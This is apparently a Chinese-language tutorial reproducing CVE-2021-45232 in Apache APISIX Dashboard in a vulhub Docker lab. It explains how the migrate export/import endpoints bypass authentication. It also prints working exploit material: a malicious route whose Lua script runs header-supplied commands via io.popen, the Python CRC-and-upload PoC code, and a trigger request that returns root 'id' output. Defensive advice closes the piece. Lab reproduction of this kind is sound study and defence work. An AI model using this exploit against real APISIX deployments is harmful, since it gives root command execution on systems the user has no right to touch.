Apache APISIX Dashboard CVE-2021-45232 未授权 API 权限绕过导致 RCE:漏洞原理与 vulhub 环境复现指南

📅 发布时间:2026/9/13 23:01:17
Apache APISIX Dashboard CVE-2021-45232 未授权 API 权限绕过导致 RCE:漏洞原理与 vulhub 环境复现指南
Apache APISIX Dashboard CVE-2021-45232 未授权 API 权限绕过导致 RCE漏洞原理与 vulhub 环境复现指南【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhubApache APISIX 是一个动态、实时、高性能的 API 网关Apache APISIX Dashboard 则是其配套的图形化管理面板。在 Dashboard 2.10.1 之前管理接口中/apisix/admin/migrate/export与/apisix/admin/migrate/import两个迁移 API 未经过权限验证攻击者可未授权导出、导入网关的全部配置路由、服务、脚本等并借此让 APISIX 访问任意内网地址SSRF甚至通过注入恶意路由执行任意 LUA 脚本RCE。本文基于 vulhub 仓库中 apisix/CVE-2021-45232 提供的漏洞环境从框架层漏洞成因、环境搭建、POC 脚本到完整复现流程逐步讲解读完即可独立搭建并复现该漏洞同时理解其绕过认证的技术本质。漏洞概述项目内容CVE 编号CVE-2021-45232影响组件Apache APISIX DashboardManager API影响版本2.10.1 之前漏洞类型认证绕过 → 配置导入导出 → SSRF / RCE触发条件Dashboard 与 APISIX 连接同一个 etcd攻击者可访问 Dashboard 管理端口默认 9000攻击后果未授权导出/导入网关全部配置注入恶意路由执行任意 LUA 脚本以 root 身份攻击者利用这两个未授权接口可以导出、导入当前网关的所有配置项包括路由Route、服务Service、脚本Script等。通过导入精心构造的恶意路由可以让 Apache APISIX 访问任意网站SSRF甚至执行任意 LUA 脚本RCE。漏洞成因gin 与 droplet 双框架下的认证盲区要理解该漏洞需要先了解 Dashboard Manager API 的框架架构。根据仓库 README.md 的说明In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces frameworkdropleton the basis of frameworkgin, all APIs and authentication middleware are developed based on frameworkdroplet. But there are 2 of these APIs/apisix/admin/migrate/exportand/apisix/admin/migrate/importdirectly use the interface of frameworkginwhich are able to bypass the authentication.即Dashboard 的 Manager API 在gin框架基础上引入了droplet框架所有 API 与认证中间件都基于droplet开发。但其中有 2 个 API即迁移导出/导入接口直接使用了gin框架的原生接口从而绕过了基于 droplet 的认证中间件成为未授权访问点。这属于典型的框架混用导致的认证覆盖不全问题——安全防护建立在统一中间件之上而个别接口绕开了该中间件体系导致防护失效。漏洞环境搭建vulhub 在 apisix/CVE-2021-45232 目录下提供了完整的 Docker Compose 漏洞环境。执行如下命令启动一个有漏洞的 Apache APISIX Dashboard 2.9docker compose up -d启动完成后访问http://your-ip:9000/即可看到 Apache APISIX Dashboard 的登录页面9000 端口为 Dashboard 管理端口。环境组成与端口规划查看 docker-compose.yml该环境由三个服务组成服务镜像端口映射作用apisixvulhub/apisix:2.99080 / 9091 / 9443APISIX 网关本体数据面dashboardvulhub/apisix-dashboard:2.9.09000Dashboard 管理面板控制面etcdgcr.io/etcd-development/etcd:v3.4.152379配置存储中心APISIX 与 Dashboard 的配置枢纽其中apisix服务将本地的 apisix.yml 挂载为/usr/local/apisix/conf/config.yamldashboard服务将本地的 dashboard.yml 挂载为/usr/local/apisix-dashboard/conf/conf.yaml。基础镜像分别定义在 base/apisix/2.9/Dockerfile基于apache/apisix:2.9-centos与 base/apisix-dashboard/2.9.0/Dockerfile基于apache/apisix-dashboard:2.9.0中。关键配置解析APISIX 网关配置apisix.ymlapisix: node_listen: 9080 # APISIX 监听端口 enable_ipv6: false etcd: host: # 支持配置多个 etcd 地址 - http://etcd:2379 # 同一 etcd 集群的多个地址 prefix: /apisix # apisix 配置前缀 timeout: 30 # 30 秒Dashboard 管理接口配置dashboard.ymlconf: listen: host: 0.0.0.0 # manager api 监听 IP 或主机名 port: 9000 # manager api 监听端口 allow_list: # 若未设置任何 IP 列表则默认允许任意 IP 访问 - 0.0.0.0/0 etcd: endpoints: # 支持为一个 etcd 集群定义多个主机地址 - http://etcd:2379 authentication: secret: s3cr3t # 用于生成 jwt token 的密钥 # 注意强烈建议修改此值以保护 manager api # 若使用默认值manager api 启动时会生成随机字符串替换 expire_time: 3600 # jwt token 过期时间单位秒 users: - username: admin # 登录 manager api 的用户名 password: vulhub注意allow_list的注释明确说明若未设置任何 IP 列表默认允许任意 IP 访问。本环境使用0.0.0.0/0即完全放开来源限制与漏洞点叠加后任何可访问 9000 端口的攻击者都能直接利用未授权接口。漏洞复现复现思路利用/apisix/admin/migrate/export和/apisix/admin/migrate/import两个 Apache APISIX Dashboard 提供的未授权API我们可以简单地导入一个恶意配置文件其中包含构造的 LUA 脚本POST /apisix/admin/migrate/import HTTP/1.1 Host: your-ip:9000 Content-Type: multipart/form-data multipart 文件字段上传恶意配置文件最后 4 字节为 CRC 校验码需要特别注意的是这个配置文件的最后 4 个字符字节是当前文件的 CRC 校验码若校验失败导入会被拒绝。因此最好通过自动化工具来生成和发送这个利用数据包例如仓库中自带的 apisix_dashboard_rce.py。POC 脚本分析仓库自带的 POC apisix_dashboard_rce.py 完整实现了计算 CRC → 构造恶意路由 → 导入的自动化流程核心逻辑如下。1. 恶意路由配置eval_configeval_config { Counsumers: [], Routes: [ { id: str(random.randint(100000000000000000, 1000000000000000000)), create_time: 1640674554, update_time: 1640677637, uris: [/rce], name: rce, methods: [GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS, CONNECT, TRACE], script: local file io.popen(ngx.req.get_headers()[cmd],r) \n local output file:read(*all) \n file:close() \n ngx.say(output), status: 1 } ], Services: [], SSLs: [], Upstreams: [], Scripts: [], GlobalPlugins: [], PluginConfigs: [] }该配置模拟了迁移导出文件的完整 JSON 结构Routes / Services / SSLs / Upstreams / Scripts / GlobalPlugins / PluginConfigs 等字段其中核心是Routes中的恶意路由uris为随机生成的访问路径script字段是恶意 LUA 脚本通过ngx.req.get_headers()[cmd]读取请求头中的cmd值用io.popen执行系统命令并将结果通过ngx.say返回给攻击者methods覆盖全部 HTTP 方法保证任何请求方式都能命中。2. CRC 校验码计算def calc_crc(data): crc32 zlib.crc32(data) 0xffffffff return crc32.to_bytes(4, byteorderbig) def import_data(url, data): data json.dumps(data).encode() crc32 calc_crc(data) files {file: (data, data crc32, text/data)} resp requests.post(url /apisix/admin/migrate/import, filesfiles, verifyFalse) if resp.json().get(code, -1) 0: return True ...关键点先用json.dumps序列化配置用zlib.crc32计算 32 位 CRC 并以大端序 4 字节追加到文件末尾再以multipart/form-data文件上传方式 POST 到/apisix/admin/migrate/import。zlib.crc32与 0xffffffff保证了结果在 Python 2/3 下一致。3. 使用方式python apisix_dashboard_rce.py http://127.0.0.1:9000脚本执行后会打印attack success以及生成的恶意 URI 路径。触发恶意路由执行任意命令添加完恶意路由后需要访问Apache APISIX中对应的路径来触发前面添加的脚本。这里必须区分两个服务Apache APISIX 和 Apache APISIX Dashboard 是两个不同的服务Apache APISIX Dashboard 只是一个管理页面而添加的路由位于 Apache APISIX 中所以需要找到 Apache APISIX 监听的端口或域名。在当前环境下Apache APISIX 监听在9080端口。向your-ip:9080发送如下数据包GET /okw1Rh HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q0.9,en;q0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Connection: close CMD: id Cache-Control: max-age0如截图所示请求中的CMD: id请求头被恶意 LUA 脚本读取并执行响应中返回了id命令的执行结果uid0(root) gid0(root) groups0(root)即以root 权限执行任意命令RCE 完全成立。结合 POC 脚本可见恶意路由的script读取的请求头为cmd小写因此手动构造数据包时请求头可写成CMD: idHTTP 头大小写不敏感或直接cmd: id两者等价。攻击面本质与防护要点该漏洞的本质是Dashboard控制面漏洞而非 APISIX 数据面漏洞。正如原文档强调的这个漏洞是 Apache APISIX Dashboard 的漏洞而 Apache APISIX 无需配置 IP 白名单或管理 API只要二者连通同一个 etcd 即可。也就是说攻击是否成功取决于以下前提攻击者可访问 Dashboard 的 Manager API默认 9000 端口Dashboard 与 APISIX 共享同一个 etcdDashboard 版本在 2.10.1 之前迁移接口未经过 droplet 认证。防御建议升级 Apache APISIX Dashboard 至 2.10.1 及以上版本修复迁移接口的认证绕过若无法及时升级应通过防火墙/安全组限制 9000 管理端口的访问来源避免暴露在不可信网络修改 dashboard.yml 中authentication.secret的默认 JWT 密钥并更换默认管理员口令本环境为admin / vulhub对 APISIX 的 etcd 端口默认 2379同样做好网络隔离防止配置被直接篡改。参考链接Apache APISIX 官方漏洞公告Dashboard CVE-2021-45232漏洞环境 Docker Compose 配置自动化利用 POC 脚本APISIX 网关配置文件Dashboard 管理接口配置文件vulhub 漏洞环境总览【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考